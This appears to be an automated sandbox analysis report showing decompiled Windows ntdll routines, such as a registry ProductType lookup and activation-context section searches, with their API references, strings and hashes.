0x6a95104f
0x6a951053
0x6a95107f
0x6a951081
0x6a951083
0x6a951084
0x6a951084
0x00000000
0x6a951081
0x6a95105a
0x6a95105e
0x6a98ccd6
0x6a98cce1
0x6a98cce5
0x6a98ccea
0x6a98ccee
0x6a98ccf2
0x6a98cd03
0x6a98cd07
0x6a98cd09
0x6a98cd11
0x6a98cd12
0x6a98cd19
0x6a98cd1b
0x6a98cd1c
0x6a98cd1d
0x6a98cd23
0x6a98cd27
0x6a98cd32
0x6a98cd40
0x6a98cd44
0x6a98cd46
0x6a98cd4c
0x6a98cd4d
0x6a98cd4f
0x6a98cd54
0x6a98cd55
0x6a98cd5e
0x6a98cd5e
0x6a98cd44
0x6a98cd27
0x6a98cd07
0x6a98cd60
0x6a98cd64
0x6a98cd64
0x6a95106e
0x00000000
0x6a951070
0x6a951073
0x00000000
0x6a951073
0x6a951027
0x6a951027
0x6a951027
0x00000000
0x6a951027
0x6a951025
0x6a950fd6
0x00000000
0x6a950f8e
0x6a950f93
0x6a950fa0
0x00000000
0x00000000
0x00000000
0x00000000
0x6a950f95
0x6a950f95
0x6a950f99
0x6a950f9c
0x00000000
0x6a950f9e
0x00000000
0x6a950f9e
0x6a950f9c

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6A951015
ZwClose.1105(?,?,?,00000018), ref: 6A951078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6A951084

Strings

FilterFullPath, xrefs: 6A98CCF4
UseFilter, xrefs: 6A98CD29

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 141111b4c100f8ca9f3dc78e9dd7d679ef719ea33b7586e32ad7878ce1ef130e
Instruction ID: bc86553381140e4ac2205170f53000352f38ed9f9b039803eaf80925161f5947
Opcode Fuzzy Hash: 141111b4c100f8ca9f3dc78e9dd7d679ef719ea33b7586e32ad7878ce1ef130e
Instruction Fuzzy Hash: 706102B15483519FD310DF24C441A6BBBE8BFDA718F264A1EF89497210EF34D919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C64FB, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 125
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6A9C64FB(intOrPtr* __ecx) {
				signed int _v8;
				char _v32;
				short _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char* _v52;
				short _v54;
				void* _v56;
				char* _v60;
				char _v64;
				char* _v68;
				short _v70;
				char _v72;
				char* _v76;
				short _v78;
				void* _v80;
				char* _v84;
				short _v86;
				void* _v88;
				char* _v92;
				short _v94;
				void* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				char _v120;
				char _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t48;
				short _t49;
				void* _t50;
				short _t51;
				void* _t55;
				void* _t62;
				void* _t77;
				short _t81;
				short _t82;
				intOrPtr* _t83;
				signed int _t85;

				_v8 =  *0x6aa0d360 ^ _t85;
				_t48 = 0x16;
				_t82 = 0x18;
				_t83 = __ecx;
				_v72 = _t48;
				_t77 = 0x10;
				_t49 = 0x12;
				_v86 = _t49;
				_v94 = _t49;
				_t50 = 0xa;
				_v80 = _t50;
				_t51 = 0xc;
				_v78 = _t51;
				_v112 =  &_v64;
				_push( &_v120);
				_v88 = _t77;
				_v96 = _t77;
				_push(1);
				_push( &_v48);
				_v64 = 0x840082;
				_v60 = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\ProductOptions";
				_v70 = _t82;
				_v68 = L"ProductType";
				_v84 = L"LanmanNt";
				_v92 = L"ServerNt";
				_v76 = L"WinNt";
				_v48 = 0;
				_v120 = _t82;
				_v116 = 0;
				_v108 = 0x240;
				_v104 = 0;
				_v100 = 0;
				_t55 = E6A959600();
				_t84 = _t55;
				if(_t55 >= 0) {
					_push( &_v124);
					_push(0x24);
					_push( &_v44);
					_push(2);
					_push( &_v72);
					_push(_v48);
					_t62 = E6A959650();
					_t84 = _t62;
					if(_t62 >= 0) {
						if(_v40 != 1) {
							L10:
							_t84 = 0xc000090b;
						} else {
							_t81 = _v36;
							if(_t81 < 2) {
								goto L10;
							} else {
								_v54 = _t81;
								_v52 =  &_v32;
								_t35 = _t81 - 2; // 0x6a986635
								_v56 = _t35;
								if(RtlEqualUnicodeString( &_v56,  &_v80, 1) == 0) {
									if(RtlEqualUnicodeString( &_v56,  &_v88, 1) == 0) {
										if(RtlEqualUnicodeString( &_v56,  &_v96, 1) == 0) {
											goto L10;
										} else {
											 *_t83 = 3;
										}
									} else {
										 *_t83 = 2;
									}
								} else {
									 *_t83 = 1;
								}
							}
						}
					}
				}
				if(_v48 != 0) {
					_push(_v48);
					E6A9595D0();
				}
				return E6A95B640(_t84, 1, _v8 ^ _t85, _t82, _t83, _t84);
			}

0x6a9c650a
0x6a9c6512
0x6a9c6515
0x6a9c6518
0x6a9c651a
0x6a9c651e
0x6a9c6521
0x6a9c6524
0x6a9c652a
0x6a9c652f
0x6a9c6532
0x6a9c6536
0x6a9c6537
0x6a9c653e
0x6a9c6544
0x6a9c6545
0x6a9c654c
0x6a9c6552
0x6a9c6553
0x6a9c6554
0x6a9c655b
0x6a9c6562
0x6a9c6566
0x6a9c656d
0x6a9c6574
0x6a9c657b
0x6a9c6582
0x6a9c6585
0x6a9c6588
0x6a9c658b
0x6a9c6592
0x6a9c6595
0x6a9c6598
0x6a9c659d
0x6a9c65a1
0x6a9c65aa
0x6a9c65ab
0x6a9c65b0
0x6a9c65b1
0x6a9c65b6
0x6a9c65b7
0x6a9c65ba
0x6a9c65bf
0x6a9c65c3
0x6a9c65c8
0x6a9c662d
0x6a9c662d
0x6a9c65ca
0x6a9c65ca
0x6a9c65d0
0x00000000
0x6a9c65d2
0x6a9c65d5
0x6a9c65d9
0x6a9c65dc
0x6a9c65df
0x6a9c65f3
0x6a9c6609
0x6a9c6623
0x00000000
0x6a9c6625
0x6a9c6625
0x6a9c6625
0x6a9c660b
0x6a9c660b
0x6a9c660b
0x6a9c65f5
0x6a9c65f5
0x6a9c65f5
0x6a9c65f3
0x6a9c65d0
0x6a9c65c8
0x6a9c65c3
0x6a9c6636
0x6a9c6638
0x6a9c663b
0x6a9c663b
0x6a9c6652

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6A9C6598

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6A9C65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6A9C65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6A9C6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6A9C663B

Strings

\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6A9C655B
ProductType, xrefs: 6A9C6566
ServerNt, xrefs: 6A9C6574
LanmanNt, xrefs: 6A9C656D
WinNt, xrefs: 6A9C657B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-2051245877
Opcode ID: bf0789e1fcf6b483b08e77da1baa2183484072392d8b6da6ff5d3f0a3b8d958e
Instruction ID: 270397c51ac9be218d4b89bc3350af9b30863c2e7441576f504e16eecd3b768d
Opcode Fuzzy Hash: bf0789e1fcf6b483b08e77da1baa2183484072392d8b6da6ff5d3f0a3b8d958e
Instruction Fuzzy Hash: 24415FB2D0520CAEDF10CFE4D945AEEB7BCEF08304F20502AE615BB241EB759905CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6A932D50, Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 397
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E6A932D50(signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				char _v89;
				void* _v96;
				void* _v100;
				void* _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t131;
				signed int _t134;
				intOrPtr _t139;
				void* _t140;
				signed int _t150;
				signed int _t156;
				intOrPtr* _t167;
				intOrPtr _t168;
				signed int _t169;
				void* _t174;
				intOrPtr _t175;
				signed int _t176;
				void* _t177;
				intOrPtr _t179;
				signed int _t180;
				signed int _t184;
				intOrPtr _t189;
				void* _t200;
				intOrPtr* _t201;
				intOrPtr _t210;
				signed int _t211;
				void* _t212;
				void* _t224;
				intOrPtr _t226;
				signed int _t227;
				void* _t228;
				void* _t230;
				signed int _t231;
				signed int _t232;
				void* _t233;
				signed int _t237;
				signed int _t239;

				_t239 = (_t237 & 0xfffffff8) - 0x44;
				_v8 =  *0x6aa0d360 ^ _t239;
				_t184 =  *[fs:0x18];
				_t131 =  *((intOrPtr*)(_t184 + 0x30));
				if( *((intOrPtr*)(_t131 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t131 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t184 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t132 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v12 = 0xffffffff;
					_v16 = 0;
					if(_a16 == 0) {
						L81:
						_t132 = 0xc000000d;
						goto L33;
					} else {
						_t222 = _a4;
						if((_t222 & 0xfffffff8) != 0) {
							goto L81;
						} else {
							_t134 = _a20;
							if((_t222 & 0x00000007) == 0) {
								if(_t134 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t134 == 0) {
									goto L81;
								} else {
									L5:
									if( *_t134 < 0x24) {
										goto L81;
									} else {
										L6:
										if((_t222 & 0x00000002) == 0) {
											L9:
											if((_t222 & 0x00000004) != 0) {
												if(_t134 + 0x40 <=  *_t134 + _t134) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L80;
												}
											} else {
												L10:
												_t231 = _a8;
												_v36 = _t222;
												_t222 =  *[fs:0x18];
												_v28 = _a12;
												_v24 = 0;
												_t175 = _v24;
												_t189 =  *((intOrPtr*)(_t222 + 0x30));
												_v40 = 0x18;
												_v20 = 0;
												_v32 = _t231;
												_v64 = 0;
												_v60 = _t222;
												_v52 = _t189;
												while(1) {
													_t139 = _t175;
													if(_t139 != 0) {
														goto L34;
													}
													_t167 =  *((intOrPtr*)(_t222 + 0x1a8));
													if(_t167 == 0) {
														L14:
														_t226 =  *((intOrPtr*)(_t189 + 0x1f8));
														_v64 = 0;
														if(_t226 == 0) {
															L36:
															_t226 =  *((intOrPtr*)(_t189 + 0x200));
															_v64 = 0xfffffffc;
															if(_t226 == 0) {
																L86:
																if(_t175 <= 3) {
																	goto L16;
																} else {
																	_t132 = 0xc00000e5;
																	goto L89;
																}
															} else {
																_t175 = 3;
																_v24 = 3;
																goto L16;
															}
														} else {
															_t175 = 2;
															_v24 = 2;
															goto L16;
														}
													} else {
														_t168 =  *_t167;
														if(_t168 != 0) {
															_t169 =  *((intOrPtr*)(_t168 + 4));
															_v64 = _t169;
															if(_t169 == 0) {
																L58:
																if(_t226 == 0) {
																	goto L14;
																} else {
																	goto L59;
																}
															} else {
																if(_t169 == 0xfffffffc) {
																	_t226 =  *((intOrPtr*)(_t189 + 0x200));
																	goto L58;
																} else {
																	if(_t169 == 0xfffffffd) {
																		_t226 = "Actx ";
																		L59:
																		_t175 = 1;
																		_v24 = 1;
																		L16:
																		if(_t226 == 0) {
																			_t132 = 0xc0150001;
																			L89:
																			_t232 = 0;
																			goto L90;
																		} else {
																			_t222 = _t231;
																			_t132 = E6A9331F0(_t226, _t231, _a12,  &_v56,  &_v48);
																			if(_t132 < 0) {
																				_t232 = 0;
																				if(_t132 != 0xc0150001 || _t175 == 3) {
																					goto L19;
																				} else {
																					_t189 = _v52;
																					_t222 = _v60;
																					_t231 = _a8;
																					continue;
																				}
																			} else {
																				_t222 = _v64;
																				_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																				asm("sbb esi, esi");
																				_t232 =  ~(_t222 - 0xfffffffc) & _t222;
																				_t132 = 0;
																				L19:
																				if(_t132 < 0) {
																					L90:
																					if(_t132 < 0) {
																						goto L33;
																					} else {
																						goto L20;
																					}
																				} else {
																					L20:
																					_t176 = _v48;
																					if(_t176 < 0x2c) {
																						L104:
																						_t142 = _v56;
																						goto L105;
																					} else {
																						_t227 = _a20;
																						while(1) {
																							L22:
																							_t142 = _v56;
																							if( *_v56 != 0x64487353) {
																								break;
																							}
																							_t239 = _t239 - 8;
																							_t222 = _t176;
																							_push( &_v16);
																							_push( &_v12);
																							_push(_t227);
																							_push(_a16);
																							_t132 = E6A933360(_t142, _t176);
																							if(_t132 >= 0) {
																								_t85 = _t232 - 1; // -1
																								if((_t85 | 0x00000007) != 0xffffffff) {
																									_t150 =  *(_t232 + 0x14);
																									 *(_t239 + 0x28) = _t150;
																									if(_t150 != 0 && (( *(_t232 + 0x1c) & 0x00000008) == 0 || ( *(_t232 + 0x3c) & 0x00000008) == 0)) {
																										 *((char*)(_t239 + 0x13)) = 0;
																										 *0x6aa0b1e0(3, _t232,  *((intOrPtr*)(_t232 + 0x10)),  *((intOrPtr*)(_t232 + 0x18)), 0, _t239 + 0x13);
																										 *((intOrPtr*)(_t239 + 0x40))();
																										 *(_t232 + 0x1c) =  *(_t232 + 0x1c) | 0x00000008;
																										if(_v89 != 0) {
																											 *(_t232 + 0x3c) =  *(_t232 + 0x3c) | 0x00000008;
																										}
																									}
																								}
																								if(_t227 == 0) {
																									L66:
																									_pop(_t228);
																									_pop(_t233);
																									_pop(_t177);
																									return E6A95B640(0, _t177, _v8 ^ _t239, _t222, _t228, _t233);
																								} else {
																									_t148 = _v56;
																									_t222 = _t227;
																									if(E6A93FD1F(_a4, _t227, _t232,  &_v40, _v56,  *((intOrPtr*)(_v56 + 0x24)),  *((intOrPtr*)(_t148 + 0x28)), _t176) < 0) {
																										goto L33;
																									} else {
																										goto L66;
																									}
																								}
																							} else {
																								if(_t132 != 0xc0150008) {
																									L33:
																									_pop(_t224);
																									_pop(_t230);
																									_pop(_t174);
																									return E6A95B640(_t132, _t174, _v8 ^ _t239, _t222, _t224, _t230);
																								} else {
																									_t222 =  *[fs:0x18];
																									_t232 = 0;
																									_v64 = 0;
																									 *(_t239 + 0x28) = _t222;
																									_v60 = 0;
																									_v52 =  *((intOrPtr*)(_t222 + 0x30));
																									_t179 = _v24;
																									L26:
																									while(1) {
																										if(_t179 <= 2) {
																											_t200 = _t179 - _t232;
																											if(_t200 == 0) {
																												_t201 =  *((intOrPtr*)(_t222 + 0x1a8));
																												if(_t201 == 0) {
																													goto L67;
																												} else {
																													_t210 =  *_t201;
																													if(_t210 == 0) {
																														goto L67;
																													} else {
																														_t211 =  *((intOrPtr*)(_t210 + 4));
																														_v60 = _t211;
																														if(_t211 == 0) {
																															L101:
																															if(_t156 == 0) {
																																goto L67;
																															} else {
																																goto L102;
																															}
																														} else {
																															if(_t211 != 0xfffffffc) {
																																if(_t211 != 0xfffffffd) {
																																	_t156 =  *(_t211 + 0x10);
																																	goto L100;
																																} else {
																																	_t156 = "Actx ";
																																	_v64 = _t156;
																																	L102:
																																	_t179 = 1;
																																	_v24 = 1;
																																	goto L28;
																																}
																															} else {
																																_t156 =  *(_v52 + 0x200);
																																L100:
																																_v64 = _t156;
																																goto L101;
																															}
																														}
																													}
																												}
																											} else {
																												_t212 = _t200 - 1;
																												if(_t212 == 0) {
																													L67:
																													_v60 = 0;
																													_t156 =  *(_v52 + 0x1f8);
																													_v64 = _t156;
																													if(_t156 == 0) {
																														goto L44;
																													} else {
																														_t179 = 2;
																														_v24 = 2;
																														goto L28;
																													}
																												} else {
																													if(_t212 != 1) {
																														goto L27;
																													} else {
																														L44:
																														_v60 = 0xfffffffc;
																														_t156 =  *(_v52 + 0x200);
																														_v64 = _t156;
																														if(_t156 == 0) {
																															goto L27;
																														} else {
																															_t179 = 3;
																															_v24 = 3;
																															goto L28;
																														}
																													}
																												}
																											}
																										} else {
																											L27:
																											if(_t179 > 3) {
																												_t132 = 0xc00000e5;
																												goto L30;
																											} else {
																												L28:
																												if(_t156 != 0) {
																													_t222 = _a8;
																													_t132 = E6A9331F0(_t156, _a8, _a12,  &_v56,  &_v48);
																													if(_t132 < 0) {
																														if(_t132 != 0xc0150001 || _t179 == 3) {
																															_t180 = 0;
																															goto L48;
																														} else {
																															_t156 = _v64;
																															_t222 =  *(_t239 + 0x28);
																															continue;
																														}
																													} else {
																														_t222 = _v60;
																														_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																														asm("sbb ebx, ebx");
																														_t180 =  ~(_t222 - 0xfffffffc) & _t222;
																														_t132 = 0;
																														L48:
																														if(_t132 < 0) {
																															goto L31;
																														} else {
																															E6A93F830(_t132, _t180);
																															_t232 = _t180;
																															goto L50;
																														}
																													}
																												} else {
																													_t132 = 0xc0150001;
																													L30:
																													if(_t132 >= 0) {
																														L50:
																														_t176 = _v48;
																														if(_t176 >= 0x2c) {
																															goto L22;
																														} else {
																															goto L104;
																														}
																													} else {
																														L31:
																														if(_t132 == 0xc0150001) {
																															_t132 = 0xc0150008;
																														}
																														goto L33;
																													}
																												}
																											}
																										}
																										goto L106;
																									}
																								}
																							}
																							goto L106;
																						}
																						L105:
																						_push(_t176);
																						E6A9A5720(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t142);
																						_t239 = _t239 + 0x14;
																						_t132 = 0xc0150003;
																						goto L33;
																					}
																				}
																			}
																		}
																	} else {
																		_t226 =  *((intOrPtr*)(_t169 + 0x10));
																		goto L58;
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L106;
													L34:
													_t140 = _t139 - 1;
													if(_t140 == 0) {
														goto L14;
													} else {
														if(_t140 != 1) {
															goto L86;
														} else {
															goto L36;
														}
													}
													goto L106;
												}
											}
										} else {
											if(_t134 + 0x2c >  *_t134 + _t134) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L80:
												_push(0);
												_push(0x33);
												E6A9A5720();
												_t239 = _t239 + 0x14;
												goto L81;
											} else {
												_t134 = _a20;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L106:
			}

0x6a932d58
0x6a932d62
0x6a932d66
0x6a932d70
0x6a932d7a
0x6a9330ad
0x00000000
0x6a97d710
0x6a97d710
0x00000000
0x6a97d710
0x6a932d80
0x6a932d80
0x6a932d84
0x6a932d8c
0x6a932d94
0x6a932d9c
0x6a97d735
0x6a97d735
0x00000000
0x6a932da2
0x6a932da2
0x6a932dab
0x00000000
0x6a932db1
0x6a932db1
0x6a932db7
0x6a9331d4
0x00000000
0x6a9331da
0x00000000
0x6a9331da
0x6a932dbd
0x6a932dbf
0x00000000
0x6a932dc5
0x6a932dc5
0x6a932dc8
0x00000000
0x6a932dce
0x6a932dce
0x6a932dd1
0x6a932de5
0x6a932de8
0x6a97d748
0x00000000
0x6a97d74e
0x6a97d74e
0x6a97d753
0x6a97d758
0x00000000
0x6a97d758
0x6a932dee
0x6a932dee
0x6a932df3
0x6a932df6
0x6a932dfa
0x6a932e01
0x6a932e07
0x6a932e0f
0x6a932e13
0x6a932e16
0x6a932e1e
0x6a932e26
0x6a932e2a
0x6a932e2e
0x6a932e32
0x6a932e40
0x6a932e42
0x6a932e45
0x00000000
0x00000000
0x6a932e4b
0x6a932e53
0x6a932e5f
0x6a932e5f
0x6a932e67
0x6a932e6d
0x6a932fa9
0x6a932fa9
0x6a932faf
0x6a932fb9
0x6a97d774
0x6a97d777
0x00000000
0x6a97d77d
0x6a97d77d
0x00000000
0x6a97d77d
0x6a932fbf
0x6a932fbf
0x6a932fc4
0x00000000
0x6a932fc4
0x6a932e73
0x6a932e73
0x6a932e78
0x00000000
0x6a932e78
0x6a932e55
0x6a932e55
0x6a932e59
0x6a9330b8
0x6a9330bb
0x6a9330c1
0x6a9330d8
0x6a9330da
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9330c3
0x6a9330c6
0x6a97d75f
0x00000000
0x6a9330cc
0x6a9330cf
0x6a97d76a
0x6a9330e0
0x6a9330e0
0x6a9330e5
0x6a932e7c
0x6a932e7e
0x6a97d784
0x6a97d789
0x6a97d789
0x00000000
0x6a932e84
0x6a932e88
0x6a932e95
0x6a932e9c
0x6a932fcd
0x6a932fd4
0x00000000
0x6a932fe3
0x6a932fe3
0x6a932fe7
0x6a932feb
0x00000000
0x6a932feb
0x6a932ea2
0x6a932ea2
0x6a932ec2
0x6a932ec6
0x6a932ec8
0x6a932eca
0x6a932ecc
0x6a932ece
0x6a97d78b
0x6a97d78d
0x00000000
0x6a97d793
0x00000000
0x6a97d793
0x6a932ed4
0x6a932ed4
0x6a932ed4
0x6a932edb
0x6a97d803
0x6a97d803
0x00000000
0x6a932ee1
0x6a932ee1
0x6a932ef0
0x6a932ef0
0x6a932ef0
0x6a932efa
0x00000000
0x00000000
0x6a932f00
0x6a932f07
0x6a932f09
0x6a932f0e
0x6a932f0f
0x6a932f10
0x6a932f15
0x6a932f1c
0x6a9330ee
0x6a9330f7
0x6a9330f9
0x6a9330fc
0x6a933102
0x6a93319d
0x6a9331b0
0x6a9331b6
0x6a9331ba
0x6a9331c3
0x6a9331c9
0x6a9331c9
0x6a9331c3
0x6a933102
0x6a93311a
0x6a933140
0x6a933146
0x6a933147
0x6a933148
0x6a933153
0x6a93311c
0x6a93311c
0x6a933120
0x6a93313a
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93313a
0x6a932f22
0x6a932f27
0x6a932f83
0x6a932f83
0x6a932f84
0x6a932f85
0x6a932f94
0x6a932f29
0x6a932f29
0x6a932f32
0x6a932f34
0x6a932f3a
0x6a932f3e
0x6a932f45
0x6a932f49
0x00000000
0x6a932f50
0x6a932f53
0x6a932ff5
0x6a932ff7
0x6a97d798
0x6a97d7a0
0x00000000
0x6a97d7a6
0x6a97d7a6
0x6a97d7aa
0x00000000
0x6a97d7b0
0x6a97d7b0
0x6a97d7b3
0x6a97d7b9
0x6a97d7e3
0x6a97d7e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97d7bb
0x6a97d7be
0x6a97d7cf
0x6a97d7dc
0x00000000
0x6a97d7d1
0x6a97d7d1
0x6a97d7d6
0x6a97d7eb
0x6a97d7eb
0x6a97d7f0
0x00000000
0x6a97d7f0
0x6a97d7c0
0x6a97d7c4
0x6a97d7df
0x6a97d7df
0x00000000
0x6a97d7df
0x6a97d7be
0x6a97d7b9
0x6a97d7aa
0x6a932ffd
0x6a932ffd
0x6a933000
0x6a933156
0x6a933158
0x6a933160
0x6a933166
0x6a93316c
0x00000000
0x6a933172
0x6a933172
0x6a933177
0x00000000
0x6a933177
0x6a933006
0x6a933009
0x00000000
0x6a93300f
0x6a93300f
0x6a933013
0x6a93301b
0x6a933021
0x6a933027
0x00000000
0x6a93302d
0x6a93302d
0x6a933032
0x00000000
0x6a933032
0x6a933027
0x6a933009
0x6a933000
0x6a932f59
0x6a932f59
0x6a932f5c
0x6a97d7f9
0x00000000
0x6a932f62
0x6a932f62
0x6a932f64
0x6a93303b
0x6a93304d
0x6a933054
0x6a933185
0x6a9331df
0x00000000
0x6a93318c
0x6a93318c
0x6a933190
0x00000000
0x6a933190
0x6a93305a
0x6a93305a
0x6a93307a
0x6a93307e
0x6a933080
0x6a933082
0x6a933084
0x6a933086
0x00000000
0x6a93308c
0x6a93308d
0x6a933092
0x00000000
0x6a933092
0x6a933086
0x6a932f6a
0x6a932f6a
0x6a932f6f
0x6a932f71
0x6a933094
0x6a933094
0x6a93309b
0x00000000
0x6a9330a1
0x00000000
0x6a9330a1
0x6a932f77
0x6a932f77
0x6a932f7c
0x6a932f7e
0x6a932f7e
0x00000000
0x6a932f7c
0x6a932f71
0x6a932f64
0x6a932f5c
0x00000000
0x6a932f53
0x6a932f50
0x6a932f27
0x00000000
0x6a932f1c
0x6a97d807
0x6a97d807
0x6a97d812
0x6a97d817
0x6a97d81a
0x00000000
0x6a97d81a
0x6a932edb
0x6a932ece
0x6a932e9c
0x6a9330d5
0x6a9330d5
0x00000000
0x6a9330d5
0x6a9330cf
0x6a9330c6
0x00000000
0x00000000
0x00000000
0x6a932e59
0x00000000
0x6a932f97
0x6a932f97
0x6a932f9a
0x00000000
0x6a932fa0
0x6a932fa3
0x00000000
0x00000000
0x00000000
0x00000000
0x6a932fa3
0x00000000
0x6a932f9a
0x6a932e40
0x6a932dd3
0x6a932ddc
0x6a97d71a
0x6a97d71f
0x6a97d724
0x6a97d729
0x6a97d729
0x6a97d72b
0x6a97d72d
0x6a97d732
0x00000000
0x6a932de2
0x6a932de2
0x00000000
0x6a932de2
0x6a932ddc
0x6a932dd1
0x6a932dc8
0x6a932dbf
0x6a932db7
0x6a932dab
0x6a932d9c
0x00000000

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.,RtlpFindActivationContextSection_CheckParameters,C000000D), ref: 6A97D72D

Strings

Actx , xrefs: 6A97D76A, 6A97D7D1
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6A97D724
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6A97D758
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 6A97D809
SsHd, xrefs: 6A932EF4
RtlpFindActivationContextSection_CheckParameters, xrefs: 6A97D71F, 6A97D753

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 3558298466-1988757188
Opcode ID: 87ab85ff6fb80b60656bf415a4903d43789de2a23f0bdd220a621b2a2522bbf3
Instruction ID: 21f5b6e56a3acd5bb2e1972ade2122afa6c000ad1f2b4ec3d4a8b97f197784c6
Opcode Fuzzy Hash: 87ab85ff6fb80b60656bf415a4903d43789de2a23f0bdd220a621b2a2522bbf3
Instruction Fuzzy Hash: B0E1CC706083229FD724CE28C890B1BB7F9AF89314F214A6DF965CB290DF31D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A94C63D, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6A94C63D(signed int __ecx, intOrPtr __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				char _v16;
				void _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr* _t34;
				signed int _t35;
				intOrPtr _t38;
				signed int _t41;
				void* _t43;

				_t38 = __edx;
				_t35 = __ecx;
				_t21 =  *[fs:0x30];
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(__edx == 0x6a8f127c) {
					E6A9A5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlGetAssemblyStorageRoot");
					goto L23;
				} else {
					_t34 = _a8;
					if(_t34 != 0) {
						 *_t34 = 0;
					}
					_t41 = _a4;
					if((_t35 & 0xfffffffc) != 0 || _t41 < 1 || _t34 == 0) {
						_push(E6A94CCC0);
						_push(_t34);
